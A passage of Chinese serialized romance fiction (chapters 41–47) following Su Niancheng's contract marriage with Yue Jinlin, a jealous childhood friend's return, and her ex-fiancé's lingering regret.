苏念橙在后座坐着,心不在焉。 陈芳婷约的这顿饭,她本不想来。 可越靳临说都是从小一块儿长大的朋友,她不去反而奇怪。 她想想也是,就来了。 到了国营饭店门口,刚停好车,就听见身后有人喊。 “越哥!嫂子!” 两人回头,周文静和蒋毅明正从另一边走过来。 周文静穿了件新做的格子衬衫,头发扎成马尾,看着挺精神。 蒋毅明跟在她旁边,手里拎着个网兜,里头装着几瓶汽水。 “你们也刚到?”周文静跑过来,挽住苏念橙的胳膊,“正好,一块儿进去。” 苏念橙笑了笑,“好。” 四个人一块儿进了饭店。 陈芳婷已经先到了,占了靠窗的一张大方桌。 看见他们进来,她站起来挥手,“这儿呢!” 几个人走过去坐下。 陈芳婷坐在越靳临对面,苏念橙挨着他,周文静和蒋毅明坐另一边。 “你们可真行,”陈芳婷笑着开口,目光在四个人脸上转了一圈,“我就出国几年,回来你们一个个都脱单了,就剩我一个孤家寡人。” 周文静笑骂,“谁让你跑那么远的?” 陈芳婷撇撇嘴,看向周文静和蒋毅明,“尤其是你俩,文静,毅明,你们俩互相看对眼,背着我跟越哥偷偷在一起的是吧?” 周文静脸一红,“说什么呢,我们哪儿偷偷了?光明正大的。” 蒋毅明在旁边嘿嘿笑,“就是,我们可是正经夫妻,跟你报备过了的。” 陈芳婷哼了一声,“报备?你俩就给我写了封信,说要结婚了,让我在国外好好照顾自己。这叫报备?” 周文静笑得不行,“那不然呢?还得给你寄喜糖?” “喜糖倒是其次,”陈芳婷撑着下巴,“我就想知道,你俩怎么就看对眼了?我记得以前在大院的时候,毅明你可没少欺负文静。” 蒋毅明摸摸鼻子,“那不是小时候不懂事嘛。” 周文静在旁边补刀,“可不是,揪我辫子,往我书包里放青蛙,还往我课桌里塞毛毛虫。” 蒋毅明急了,“我那不是喜欢你才欺负你吗?” 周文静瞪他,“有你这么喜欢的?” 陈芳婷笑得前仰后合,“行行行,你俩慢慢算账。” 苏念橙坐在旁边,听着他们说话,嘴角也弯了弯。 她插不上话,就低头慢慢吃饭。 陈芳婷忽然看向她,“对了念橙,你高中是在哪儿上的?” 苏念橙筷子顿了顿。 “我没上过高中。”她放下筷子,“初中没念完就辍学了。” 桌上安静了一瞬。 陈芳婷愣了一下,“这样啊……” 她笑了笑,语气温和,“女孩子还是要多读点书比较好。不过现在也不晚,想学什么时候都能学。” 周文静在旁边接话,“什么读多点书好,我也就是初中毕业,毅明也没比我强多少。” 她看向陈芳婷,“你可别在这儿显摆你大学生身份啊。” 陈芳婷赶紧摆手,“我没那意思,就是随口问问。” 越靳临没说话,夹了只虾,低头剥起来。 剥好了,他放到苏念橙碗里,“多吃点。” 苏念橙愣了一下,抬头看他。 他脸上没什么表情,又夹了只虾继续剥。 她心里一暖,“谢谢。” 陈芳婷看着这一幕,脸上的笑淡了一瞬。 “靳临哥,”她开口,声音还是温温柔柔的,“你怎么只给念橙剥,不给我剥?以前咱们一块儿吃饭,你可都是给我剥的。” 越靳临手顿了顿,抬头看她。 陈芳婷笑得甜甜的,眼睛弯成月牙,一副撒娇的样子。 他沉默了两秒,也夹了只虾,剥好放到她碗里。 “给你。”他说。 陈芳婷笑得更开心了,“这还差不多。” 第四十二章 不介意 苏念橙低着头,默默吃着碗里的虾。 虾很新鲜,肉质紧实,可她嚼着嚼着,忽然觉得没什么味道。 周文静在旁边插嘴,“芳婷,你可别使唤越哥了,人家现在是有媳妇儿的人。” 陈芳婷撇撇嘴,“有媳妇儿怎么了?从小一块儿长大的情分还能没了?” 她看向苏念橙,“念橙,你不会介意吧?” 苏念橙抬起头,笑了笑,“当然不会。” 这个是说真的。 毕竟她和越靳临左右不过是协议婚约,算不上介不介意。 陈芳婷点点头,“你看,念橙都不介意。” 周文静瘪了瘪嘴说,“臭婷子,也是只有你能让他们两个都纵容你。” 闻言陈芳婷笑的更开心,她视线落在越靳临身上,见他没反驳,心里更加开心。 随即她拿起筷子夹了块肉,又想起什么,“对了念橙,听文静说你在准备考大学?” 苏念橙点点头,“嗯,在复习。” “考什么专业?” “想考中文系。” 陈芳婷眼睛亮了,“中文系?那正好,我在师范学院教外语,离你们那儿也不远。你要是有不懂的,晚上可以来找我,我辅导你。” 苏念橙愣了一下,“这……太麻烦你了吧?” “不麻烦。”陈芳婷笑着,“反正我晚上也没什么事。你来找我,我还能有人说话。” 苏念橙看向越靳临。 越靳临想了想,“她外语底子薄,你要是能辅导,对她有帮助。” 苏念橙点点头,看向陈芳婷,“那就谢谢芳婷姐了。” “客气什么。”陈芳婷摆摆手,“对了,你们住哪儿?我晚上好去找你们。” 越靳临说,“槐花胡同三号楼。” 陈芳婷记下了,“好,我记着了。” 吃完饭,五个人出了饭店。 天还早,太阳暖洋洋的。 周文静看看天,忽然说,“要不咱们去爬山吧?旁边那座山,不高,来回也就一个多钟头。” 蒋毅明第一个响应,“行啊,正好消消食。” 陈芳婷也点头,“好,我也好久没爬山了。” 越靳临看向苏念橙,“想去吗?” 苏念橙想了想,点点头,“好。” 五个人往山脚走。 山确实不高,石阶修得整整齐齐,两边种着松树。 苏念橙走在越靳临旁边,一步一个台阶,走得不快不慢。 上山挺顺利,几个人说说笑笑,很快就到了山顶。 山顶有个小亭子,能看见整个省城。 苏念橙站在亭子里,看着山下密密麻麻的房子,心里忽然开阔了不少。 “好看吧?”周文静凑过来。 苏念橙点点头,“好看。” 几个人在山上待了一会儿,拍了张合影,开始往下走。 下山的路比上山陡,石阶有点滑。 苏念橙走得小心,一步一步往下挪。 走到半山腰,忽然听见身后“哎哟”一声。 几个人同时回头。 陈芳婷坐在地上,捂着脚踝,脸色发白。 “怎么了?”周文静赶紧跑过去。 陈芳婷咬着嘴唇,“崴脚了。” 蒋毅明也凑过来,“能站起来吗?” 陈芳婷试着站了一下,脚刚沾地,就疼得倒吸一口凉气。 “不行,太疼了。”她眼眶红了,眼泪在眼眶里打转。 蒋毅明伸手想扶她,“我扶你下去。” 陈芳婷躲了一下,咬着嘴唇,眼泪掉下来,“太疼了,走不了……” 她抬起头,看向越靳临。 “靳临哥,”她声音带着哭腔,“我走不动了。” 越靳临沉默了两秒。 苏念橙站在旁边,看着这一幕。 山路陡,陈芳婷崴了脚,确实走不了。 蒋毅明是男的,周文静力气小,都扶不住。 只有越靳临能背她下去。 她心里忽然有点堵。 可这不是赌气的时候。 “你背她下去吧。”她听见自己开口,声音很平静,“山路不好走,别耽误了。” 越靳临看着她。 苏念橙移开目光,“我慢慢走,没事。” 越靳临沉默了一瞬,走到陈芳婷面前,蹲下身。 “上来。” 陈芳婷愣了一下,眼泪还挂在睫毛上。 她犹豫了一下,趴到他背上。 越靳临站起来,稳稳背着她,往下走。 周文静跟在后头,回头看了苏念橙一眼。 “念橙,你……” “我没事。”苏念橙笑了笑,“你们先走,我慢慢下。” 周文静还想说什么,蒋毅明拉了拉她,“走吧,别让越哥一个人。” 周文静叹了口气,跟着往下走。 苏念橙站在原地,看着那几个人越走越远。 越靳临背着陈芳婷,步子迈得稳,很快就转过弯,看不见了。 她收回目光,深吸一口气,开始慢慢往下走。 石阶有点滑,她走得很小心。 走了一会儿,她停下脚步,看着山下。 越靳临他们已经到山脚了。 陈芳婷从他背上下来,好像说了什么,他点点头。 苏念橙站在半山腰,风吹过来,有点凉。 她忽然想起那天在工地门口,那几个工友说的话。 娶个太嫩的回去,还得伺候。 她低下头,盯着自己的鞋尖,慢慢往下走。 山路不长,可她走了很久。 到山脚的时候,越靳临正站在路边,往山上看着。 看见她下来,他快步迎过来。 “怎么这么慢?” 苏念橙笑了笑,“路滑,走得慢。” 越靳临看着她,眉头微微皱了皱,他牵起她的手,淡淡说了句,“蜗牛。” 然后他把车钥匙递给周文静。 “文静,你会开车,你送芳婷去诊所。” 陈芳婷愣了下,她以为越靳临会送她的,结果没有。 周文静接过车钥匙,点点头,“好,那你们慢慢走回去。”她跨上车,然后拍拍后座,对陈芳婷道:“上来吧,我的婷子。” 陈芳婷笑了笑,面露痛苦的慢慢上了车,“那可得麻烦你了。” 她偏头看了眼越靳临,最后落在苏念橙身上,“念橙,等会见。” 苏念橙愣了下,“好。” 然后两人驱车而去,只留下越靳临、苏念橙、蒋毅明三人。 苏念橙垂眸看着相握的手,越靳临察觉到,问:“怎么了?” 她有些别扭的挣脱开手,“我鞋带开了。” “我帮你。” 第四十三章 吃醋 苏念橙刚想拒绝,越靳临已经蹲下去,握住了她的鞋带。 他低着头,手指利落地把散开的鞋带重新系好,打了个结实的蝴蝶结。 “好了。” 他站起来,看着她。 苏念橙垂着眼,“谢谢。” 蒋毅明在旁边看着,忽然“哎哟”一声,笑得贼兮兮的,“我说你俩可真行啊,走个路都这么甜蜜。嫂子,刚才我还以为你会吃醋生气呢。” 苏念橙愣了一下,“吃什么醋?” “就越哥背芳婷下来那事儿啊。”蒋毅明挤挤眼,“我们文静刚才还念叨,说嫂子你脾气真好,换她早跟我急了。” 苏念橙连忙摆手,“怎么会,你们都是朋友,崴了脚帮忙是应该的。” 她说着,脸上带着笑,语气轻快。 可心里那点堵,还在。 越靳临垂眸看了她一眼。 她没看他,低头盯着刚系好的鞋带,睫毛轻轻覆着。 他想起刚才在山脚等她的那会儿,她一个人从山上下来,走得慢,走了很久。 蒋毅明还在旁边絮叨,“嫂子你这肚量,真不是一般人。要我说,越哥也是,当时就该让我背芳婷,我力气大着呢——” “行了。”越靳临打断他,“走吧。” 三个人往回走。 苏念橙走在越靳临旁边,没牵手。 她两只手垂在身侧,走得不快不慢,眼睛看着前面的路。 越靳临也没说话,只是走几步就侧头看她一眼。 她脸上没什么表情,安安静静的。 可他就是觉得哪儿不对。 又走了一段,他伸出手,想去牵她。 手指刚碰到她的手背,她缩了一下,避开了。 越靳临手顿了顿。 她低着头,像是什么都没发生,继续往前走。 他收回手,插进口袋里。 蒋毅明在后面跟着,没注意到这小动作,还在念叨晚上吃什么。 越靳临没接话,只是看着前面那个纤细的背影。 蒋毅明的话,好像不是没道理。 她也许真的吃醋了? 另一边,摩托车往诊所开。 周文静拧着油门,风吹得头发往后飘。 陈芳婷坐在后座,搂着她的腰,没说话。 车开出去一段,周文静终于忍不住开口。 “芳婷,有句话我不知道该不该说。” 陈芳婷愣了一下,“什么?” 周文静犹豫了一下,“以后你还是跟越哥保持点距离吧。” 陈芳婷愣住了。 “什么意思?” 周文静叹了口气,“他现在结婚了,有媳妇儿了。你跟他走太近,念橙那边不好想。” 陈芳婷沉默了几秒。 “文静,你在说什么?”她声音沉下来,“我跟靳临哥从小一块儿长大,他照顾我不是应该的?我又没做什么出格的事。” “你没做什么出格的事,可你那心思……”周文静顿了顿,“瞒得了别人,瞒不了我。” 陈芳婷愣住了。 摩托车拐了个弯,陈芳婷搂紧了些,声音有点抖。 “什么心思?” 周文静没绕弯子,“芳婷,你是不是还喜欢越哥?” 陈芳婷没说话。 周文静从后视镜里看了她一眼,那张温柔的脸绷得紧紧的,眼眶有点红。 “我没猜错吧?”她放轻了声音,“你这次回来,是想跟他在一起的。” 陈芳婷咬着嘴唇,沉默了好一会儿。 “是。”她终于开口,声音发颤,“我喜欢他。从小到大,我就喜欢他。我等了他三年,我出国三年,天天想他。我以为我回来就能……” 她说不下去了。 周文静心里一酸,“芳婷……” “为什么?”陈芳婷声音抖得厉害,“他为什么不等等我?我只是出国三年,三年而已。回来什么都变了,他结婚了,娶个认识一个月的人……” 周文静沉默了几秒,把车停在诊所门口。 她回过头,看着陈芳婷。 “芳婷,有些话我本来不想说。”她叹了口气,“可你今天这样,我不得不说。” 陈芳婷看着她。 “越哥从来都只把你当妹妹。”周文静一字一顿,“你出国前,是这样。你出国后,也是这样。就算你三年前没走,你们俩也未必能成。” 陈芳婷愣住了。 她脸上的表情变了又变,最后咬着嘴唇,眼眶红透了。 “你不用跟我过来了。” 她推开车门,一瘸一拐地下了车。 “芳婷!”周文静急了,跟着下车,“你别跟我置气,我只是想让你清醒一点——” “我为什么要清醒?”陈芳婷回过头,眼泪掉下来,“文静,你从小跟我一块儿长大,你不知道我喜欢他吗?我不信靳临哥是那种跟认识一个月的人闪婚的人,他们当中一定有误会!” 周文静站在那儿,看着她。 “闪婚怎么了?”她说,“越哥今年二十七八了,想成家不正常吗?他对念橙好,我看得出来,那是真心的。” 陈芳婷咬着嘴唇,眼泪流得更凶了。 她没再说话,转身往诊所走,一瘸一拐的,背影倔强得很。 周文静站在原地,叹了口气。 她回到摩托车上,没走,就在门口等着。 越靳临三人走到诊所门口的时候,周文静正蹲在台阶上发呆。 看见他们过来,她站起来,“来了?” 蒋毅明凑过去,“芳婷呢?” “里头包扎呢。”周文静往诊所里努努嘴,“我陪她来的,她不让我进去,让我在外头等着。” 蒋毅明挠挠头,“那咱们就在这儿等会儿?” 越靳临点点头,目光落在苏念橙身上。 她站在几步外,看着诊所那扇半开的门,不知道在想什么。 他走过去,站在她旁边。 “累不累?”他问。 苏念橙摇摇头,“不累。” 又是两个字。 越靳临看着她,沉默了几秒。 他想说点什么,可张了张嘴,又不知道该说什么。 苏念橙低着头,盯着自己的鞋尖。 那双布鞋有点旧了,鞋帮磨得发白,可她舍不得换。 她想起刚才在山上,越靳临背着陈芳婷往下走的那个背影。 走得稳,走得快。 这时门开了。 陈芳婷从诊所里出来,脚上包着纱布,一瘸一拐的。 看见门口站着的几个人,她愣了一下,目光在越靳临身上停了一瞬,最后落在周文静脸上。 “你怎么还没走?” 第四十四章 真乖 周文静走过去,“等你啊。伤怎么样?” “没伤到骨头,养几天就行。”陈芳婷低下头,声音闷闷的。 周文静伸手扶她,“那走吧,我送你回去。” 陈芳婷躲了一下,“不用,我自己能走。” “别逞强。”周文静没松手,“我送你。” 陈芳婷没再说话,由她扶着往前走。 走了几步,她忽然停下,回过头。 “靳临哥。” 越靳临看着她。 陈芳婷笑了笑,眼眶还红着,“今天谢谢你背我下山。改天请你和念橙吃饭。” 越靳临点点头,“嗯。” 陈芳婷收回目光,跟着周文静走了。 蒋毅明挠挠头,“那我也回去了,文静那边我去看看。” 他朝两人摆摆手,追着那辆摩托车去了。 诊所门口只剩下越靳临和苏念橙。 天边染上橙红色,路灯还没亮。 苏念橙站在那儿,风吹起她的裙角。 “走吧。”越靳临说。 苏念橙点点头。 两人并肩往回走。 走到槐花胡同口,越靳临忽然开口。 “饿不饿?前面有家卖小吃的。” 苏念橙脚步顿了顿,摇摇头,“不饿。” “想吃什么?”他又问。 她想了想,“没什么特别想吃的。” 越靳临看了她一眼,“好。” 两人继续往前走。 回到家,苏念橙换了鞋,“我上去看书了。” “嗯。” 她上楼,关上门。 坐到桌边,翻开书,看了一会儿,她忽然想起,明天要用的那本参考书还在图书馆,得去借。 她看了眼窗外,天还没黑。 现在去还来得及。 她收拾好东西,拎起包下楼。 越靳临正坐在客厅里看报纸,听见动静抬起头。 “要出门?” 苏念橙点点头,“嗯,去趟图书馆,有本书要借。” 越靳临放下报纸,站起来,“我陪你去。” 苏念橙愣了一下,“不用,我自己去就行。” “反正我也没事。”他已经走到门口,拿起外套,“走吧。” 苏念橙张了张嘴,不好再拒绝,“……好。” 两人出了门。 摩托车被周文静骑走了还没还回来,他们只能走着去。 苏念橙走在越靳临旁边,没说话。 越靳临也没说话,只是走在她身侧,步子迈得不大,刚好能跟她并排。 周末的图书馆人特别多。 门口排着长长的队,都是来借书还书的年轻人,手里抱着厚厚一摞书。 苏念橙站在队尾,有点着急。 这么多人,等排到还不知道要多久。 “慢慢等。”越靳临站在她旁边,“不急。” 苏念橙点点头,心里那点急躁散了些。 排了快二十分钟,终于进了图书馆。 阅览室里人也多,到处是翻书的沙沙声。 苏念橙轻车熟路地找到那本书,又顺便挑了两本,抱在怀里。 她四处张望,想找个空位。 角落里还有张桌子,只坐了一个人。 她走过去,把书放下,坐下来。 越靳临也跟过来,在她对面坐下。 他随手从旁边架子上抽了本书,翻开,低头看起来。 苏念橙愣了一下。 她还是第一次见他看书。 暖黄的灯光从头顶洒下来,照在他身上。 他低着头,眉眼低垂,睫毛在脸上投下一小片阴影。 那双眼睛是丹凤眼,平时看着冷,这会儿垂着,倒显得温和了些。 长期日晒的皮肤是小麦色的,衬得五官更深邃。 侧脸真俊。 苏念橙忽然觉得心跳快了一拍。 她赶紧低下头,翻开书,强迫自己看。 可眼角余光还是忍不住往对面飘。 他看书看得挺投入,偶尔翻一页,手指修长,指节分明。 旁边几张桌子坐着的姑娘,时不时往这边瞄一眼,交头接耳说着什么。 苏念橙低下头,盯着书上的字。 看了一会儿,她掏出本子和笔,开始做笔记。 越靳临翻了一页书,目光从书页上移开,落在她身上。 她低着头,刘海垂下来,遮住半边脸。 看书看得很认真,遇到不懂的地方会微微皱眉,嘴唇轻轻抿着。 过一会儿想通了,眉头松开,嘴角弯一下,又继续往下看。 他嘴角微微弯了弯。 真乖。 他收回目光,继续看书。 这时,旁边桌几个姑娘压低声音说话。 “听说了吗?从下周开始,师范学院的老师要办补习班,免费公开课。” “真的假的?在哪儿上?” “就咱们区那个中学,晚上七点。听说老师经验特别好,专门辅导高考的。” “那得去听听!不过得早点去占位置,肯定人多。” “学费贵不贵?” “三十块,一个月。” 苏念橙手里的笔顿了顿。 三十块,一个月。 她一个月工钱才十八块。 她咬着嘴唇,在心里算了算。 如果省着点花,攒两个月,应该能凑出来。 她偷偷把那几个姑娘说的地点和学校记在心里。 越靳临抬眸看了她一眼,没说话。 又看了一会儿,苏念橙合上书,把本子和笔收进包里。 越靳临也站起来,把书放回架子。 两人往门口走。 刚走出图书馆大门,身后忽然传来一阵急促的脚步声。 “同志,请等一下!” 两人回头。 一个扎着马尾的年轻姑娘跑过来,脸红红的,手里还攥着本书。 她跑到越靳临面前,喘着气,眼睛亮亮的。 “同志,我、我叫李秀英,在纺织厂工作。我能问问你叫什么名字吗?” 苏念橙站在旁边,愣住了。 越靳临看了那姑娘一眼,脸上没什么表情,“有事?” 姑娘脸更红了,手指揪着书角,“我、我就是想认识你一下。刚才在阅览室,我一直看见你……” 她说着,目光在越靳临脸上转了一圈,又看向旁边的苏念橙,愣了一下。 苏念橙站在那儿,穿着碎花裙,安安静静的,手里拎着包。 姑娘脸上的笑僵了一瞬,“这位是……” 越靳临牵起苏念橙的手。 “我媳妇儿。”他说。 姑娘愣住了。 她张了张嘴,看看越靳临,又看看苏念橙,脸涨得通红。 “对、对不起!我不知道……”她连连鞠躬,“打扰了!” 说完转身就跑,几步就消失在夜色里。 苏念橙站在原地,手还被越靳临握着。 掌心干燥温热,指节有力。 她低下头,盯着那只握着自己的手。 “走吧。”越靳临说。 第四十五章 迟早要离 苏念橙没动。 他回头看她。 她抬起头,路灯的光落在她脸上,照得那双眼睛亮亮的。 “越靳临。”她开口。 “嗯?” 苏念橙咬了咬嘴唇,“以后……还是不要在别人面前宣称我是你媳妇儿比较好。” 越靳临手顿了顿。 “为什么?” 苏念橙垂下眼,“咱们本来就是协议结婚,迟早要离的。老这么说,以后说不清楚。” 越靳临看着她,沉默了几秒。 “说不清楚什么?” 苏念橙盯着他,一时之间不知道怎么开口。 她想说,万一你以后跟别人在一起,人家知道你结过婚,心里会有疙瘩。 可这话说出来,好像又有点怪。 “就是……”她斟酌着开口,“对你以后不好。” 越靳临看着她,那双眼眸黑沉沉的。 “什么以后?” 苏念橙被问住了。 她低下头,“就是以后你遇到更合适的人怎么办?” 越靳临愣了一下。 “没有以后。”他说,“我觉得你就挺合适的。” 苏念橙没反应过来,抬起头看着他。 路灯的光落在他脸上,把那双眼眸照得格外深邃。 他就那么看着她,脸上没什么表情,可那话听着,又不像随口说的。 “你……”她张了张嘴,“什么意思?” 越靳临没回答,拉着她往前走。 “时候不早了,回去吧。” 苏念橙被他牵着,脚步跟着他走,脑子还有点懵。 什么意思? 什么叫没有以后?什么叫她就挺合适的? 她比较适合当协议对象? 她想问,可他已经迈开步子往前走,那背影看着跟平时没什么两样。 她咬了咬嘴唇,把那些话咽回去。 算了,可能就是随口一说。 两人走回家属院,摩托车已经停在楼下了,周文静没在,估计是还完车就走了。 苏念橙刚要上楼,忽然感觉到一道视线落在自己身上。 她下意识抬头往那边看去。 何钧礼站在隔壁那栋楼的门口,正看着他们。 他穿着件深色毛衣,站在路灯下,脸隐在阴影里。 可那道视线,冷得很。 苏念橙愣了一下。 她就那么站在原地,看着他,脑子里忽然涌出很多东西。 三年前,何钧礼刚下乡那会儿,还不是现在这副光鲜亮丽的样子。 那时候他就是个毛头小子,穿着洗得发白的短袖,袖口磨得毛边,头发也没现在这么整齐,乱糟糟地搭在额前。 可胜在干净。 那时候他就站在村口那棵老槐树下,手里捧着一把野花,脸红红的,眼睛亮亮的。 “苏念橙同志,”他说,声音还有点抖,“我喜欢你,你能跟我处对象吗?” 那把野花有黄的白的紫的,乱七八糟插在一块儿,丑得要命。 可她捧着那把花,心跳得快要从嗓子眼蹦出来。 那是她这辈子第一次被人喜欢。 也是她这辈子第一次知道,原来被人放在心上,是这种感觉。 后来那些年,她起早贪黑赚工分供他读书,累得腰都直不起来,可只要想起他那张脸,她就觉得值。 她以为他们会一直这样下去。等他回城站稳脚跟,就会回来接她。到时候他们就能堂堂正正在一起,过自己的小日子。 她等啊等,等来的却是他要娶苏荷雨的消息。 那些年,就像一场笑话。 苏念橙站在原地,看着那张熟悉的脸,心里翻涌着说不清的滋味。 不疼了。早就不疼了。 可那些记忆,还在。 就像结了痂的伤口,不碰不疼,可偶尔碰到,还是会想起当初是怎么伤的。 她正发愣,手忽然被握紧了。 她回过神,抬起头。 越靳临站在她身边,低头看着她。 他脸上没什么表情,但那双眼眸黑沉沉的,往隔壁楼那边扫了一眼。 然后他回过头,牵着她的手往里走。 “愣着干嘛?”他说,“回家了。” 苏念橙被他牵着,跟着他往里走。 她没再回头,可她能感觉到,那道视线还落在自己背上。 何钧礼站在原地,看着那两个人的背影消失在楼道里。 他攥紧拳头,指甲掐进掌心。 这几天他觉得自己疯了。 上班的时候,脑子里会突然冒出她的脸。 画图纸的时候,会想起以前在乡下,她坐在煤油灯下缝补衣服的样子。 吃饭的时候,会想起她做的红烧肉,虽然油水不多,但就是比国营饭店的好吃。 他想她。 想得发疯。 他不知道自己怎么了。 明明当初回城的时候,他想都没想就把她抛在脑后。 他跟苏荷雨处得好好的,她温柔体贴,善解人意,还是大学生,跟他门当户对。 可他就是忍不住去想苏念橙。 想她看他的眼神,想她对他笑的样子,想她站在村口送他回城时,眼眶红红的,却拼命忍着不哭。 那时候她说什么来着? “何钧礼,你一定要好好的。等你站稳脚跟了,就回来接我。” 他答应了。 可他从没想过要回去接她。 他甚至没想过,她会不会等,会不会难过。 他只是理所当然地接受她的一切,然后头也不回地走了。 可现在,她嫁人了。 嫁给一个比他更好的男人。 那个男人有摩托车,有独门独户的三层楼,有花不完的布票。 那个男人能给她他给不了的一切。 她站在那个男人身边,笑得那么开心。 那种笑,以前只对他有过。 何钧礼站在路灯下,看着那扇亮起灯光的窗户,心里像被什么东西堵住了,闷得喘不过气。 “钧礼?” 身后传来苏荷雨的声音。 他回过头,脸上的表情瞬间换了。 温柔,宠溺,跟平时一模一样。 “荷雨?”他走过去,“怎么出来了?外头凉。” 苏荷雨站在门口,穿着件新做的碎花睡裙,头发披着,脸上带着笑。 “等你好一会儿了。”她走过来,挽住他的胳膊,“怎么站在这儿发呆?” 何钧礼揽着她的肩,往屋里走,“没事,透透气。你还没睡?” “等你呢。”苏荷雨靠在他肩上,声音娇娇的,“你不回来,我睡不着。” 何钧礼低头看她,笑了笑,“傻不傻,我又不是不回来。” 第四十六章 念念不忘 两人进了屋,关上门。 何钧礼换了鞋,在桌边坐下。苏荷雨去给他倒了杯水,端过来。 “刚才在外头看什么呢?”她问,眼里带着好奇。 何钧礼接过水杯,“没什么,就站了会儿。” 苏荷雨在他旁边坐下,靠在他肩上,“钧礼,咱们结婚的日子快到了。你紧不紧张?” 何钧礼愣了一下,“有什么好紧张的?” “我紧张啊。”苏荷雨仰着脸看他,“要嫁给你了,能不怕吗?” 何钧礼低头看着她那张温柔的脸,伸手摸摸她的头,“不怕,有我呢。” 苏荷雨笑了,靠在他怀里。 何钧礼抱着她,眼睛却看向窗外那扇亮着灯的窗户。 那扇窗户,刚才还站着两个人。 他收回目光,低头亲了亲苏荷雨的头发。 越靳临拉着苏念橙进了屋。 他松开手,换了鞋,一句话没说,直接进了澡间。 门关上的声音有点重。 苏念橙站在客厅里,愣了一下。 她看着那扇紧闭的门,总觉得哪里不对。 刚才他还好好的,怎么一进门就…… 生气了? 她想了想,没想通他气什么。 算了,可能累了吧。 她没多想,转身进了厨房。 晚上还没吃饭呢,得做点吃的。 厨房里还有昨天买的菜,她系上围裙,开始忙活。 炒了个青菜,热了热中午剩的红烧肉,又做了个西红柿蛋汤。 刚把饭菜端上桌,澡间的门开了。 越靳临走出来,换了件干净的灰色背心,头发还湿着,水珠顺着脖颈往下淌。 他走过来,在桌边坐下,没看她,也没说话。 苏念橙把筷子递给他,“饿了吧?吃点东西。” 越靳临接过筷子,嗯了一声。 他夹了块红烧肉放进嘴里,嚼了嚼,咽下去。 苏念橙在他对面坐下,也拿起筷子。 两人安静地吃着,谁都没说话。 吃了一会儿,苏念橙抬起头,偷偷看了他一眼。 他低着头吃饭,脸上没什么表情。 可就是不对劲。 平时吃饭的时候,他总会问她今天怎么样,明天想吃什么,有时候还给她夹菜。 今天什么都没说。 苏念橙咬了咬嘴唇,犹豫了一下,还是开口了。 “越靳临。” 他抬起头,“嗯?” 苏念橙看着他,“你是不是不舒服?” 越靳临筷子顿了顿。 他看着她,那双黑沉沉的眼睛里映着小小的她。 “没有。”他说。 苏念橙眨眨眼,“真的?” “嗯。” 可那语气,明明就是有。 苏念橙低下头,盯着碗里的饭,小声说,“你要是有什么不高兴的,可以跟我说。” 越靳临沉默了几秒。 “你对那个何钧礼,”他开口,声音沉沉的,“还念念不忘?” 苏念橙愣了下。 为什么要这么问她? 这人是不是有点越界了… 心里这么想的,但她下意识还是否认了。 “当然没有,那样的渣男有什么值得怀念的。” 她惋惜的只有自己对青春。 越靳临听了后,神色才缓和些,他淡淡嗯了一声,才继续吃饭。 苏念橙看了他一眼,这是没事了? 她没多想。 接下来的几天,日子照常过。 白天上班,下午回家复习,晚上越靳临回来做饭。 两人之间那点微妙的气氛,好像随着时间慢慢好了些。 至少表面上是这样。 这天中午,越靳临送苏念橙回家。 摩托车停在楼下,她跳下车,“我上去了。” “嗯。”越靳临点点头,“下午我去趟工地,晚点回来。” “好。” 她转身往楼里走,刚走到门口,就听见身后有人喊。 “念橙!” 她回过头,何佩佩正从隔壁楼跑过来,穿着件新做的格子外套,脸红扑扑的。 “念橙,你今天下午有事吗?”何佩佩跑到她面前,喘着气。 苏念橙摇摇头,“没事,怎么了?” 何佩佩一把挽住她的胳膊,“那陪我去喝东西吧!前边新开了家店,卖那种甜甜的饮料,听说可好喝了。” 苏念橙想了想,也好久没跟何佩佩单独出去了。 她点点头,“行,等我放个东西。” 她上楼把包放下,换了件干净外套,下来跟何佩佩一块儿往外走。 新开的店就在胡同口不远,门脸不大,里头摆着几张木头桌子,收拾得挺干净。 这会儿不是饭点,店里没什么人。 两人找了个靠窗的位置坐下,何佩佩点了两杯橘子水。 “你最近复习得怎么样?”何佩佩撑着下巴看她。 苏念橙点点头,“还行,就是数学有点难。” “数学我也头疼。”何佩佩叹了口气,“你说咱们是不是天生就不是读书的料?” 苏念橙笑了,“多看看就好了。” 橘子水端上来,黄澄澄的,冒着凉气。 何佩佩喝了一口,眼睛亮了,“好喝!” 苏念橙也尝了尝,酸甜适中,确实不错。 两人喝了一会儿,何佩佩忽然放下杯子,看着她。 “念橙,我有个事要跟你说。” 苏念橙愣了一下,“什么事?” 何佩佩咬了咬嘴唇,“后天,我哥结婚。” 苏念橙手里的杯子顿了顿。 “就在国营饭店。”何佩佩看着她,“你收到请帖了吗?” 苏念橙摇摇头,“没有。” 何佩佩撇撇嘴,“我就知道。他们怎么可能请你。” 苏念橙笑了笑,没说话。 就算请了,她也未必会去的。 何佩佩叹了口气,“我哥真是瞎了眼,娶那么个矫情精。你是不知道,这几天她在我们家,天天端着一副少奶奶的架子,我妈忙前忙后伺候她,她连句谢谢都没有。” 苏念橙看着她,“你妈没说什么?” “我妈能说什么?”何佩佩翻了个白眼,“我哥护着她,我妈说什么都没用。” 她越想越气,“你说她有什么好的?不就是个大学生吗?我哥也是,放着好好的你不要——” “佩佩。”苏念橙打断她,“都过去了。” 何佩佩张了张嘴,把话咽回去。 她低下头,戳着杯子里的橘子水,“我就是替你不值。” 苏念橙笑了笑,“没什么不值。我现在挺好的。” 何佩佩抬起头看她,“真的?” 第四十七章 分房睡 “真的。”苏念橙认真点头。 何佩佩看着她,叹了口气,“行吧,你觉得好就行。” 她顿了顿,又说,“后天那顿饭,你还是别去国营饭店吃了。免得碰上他们,给自己添堵。” 苏念橙点点头,“好,我听你的。” 何佩佩看着她,忽然说,“念橙,你真的不在意了?” 苏念橙愣了一下。 她想了想,认真地说,“真的不在意了。” 这是实话。 想起何钧礼,心里不会再疼,不会再酸。 就像想起一个很久以前认识的人,没什么特别的感觉。 何佩佩盯着她看了好几秒,最后点点头,“那就好。” 两人又聊了一会儿,把橘子水喝完,出了店门。 “那我回去了。”何佩佩朝她挥挥手,“改天再来找你。” “好。” 苏念橙看着她跑进隔壁楼,自己转身回了家。 推开门,屋里静悄悄的。 她换了鞋,坐到桌边,翻开书。 看了一会儿,她抬起头,看着窗外。 何钧礼要结婚了。 跟苏荷雨。 那些过去的画面,现在想起来,像隔了一层毛玻璃,模糊得很。 她收回目光,继续看书。 不知道过了多久,门被敲响了。 她愣了一下,站起来去开门。 门拉开,外头站着陈芳婷。 她穿着件素色的毛衣,头发披着,脚上还包着纱布,一瘸一拐的。 苏念橙有些意外,“芳婷姐?你怎么来了?” 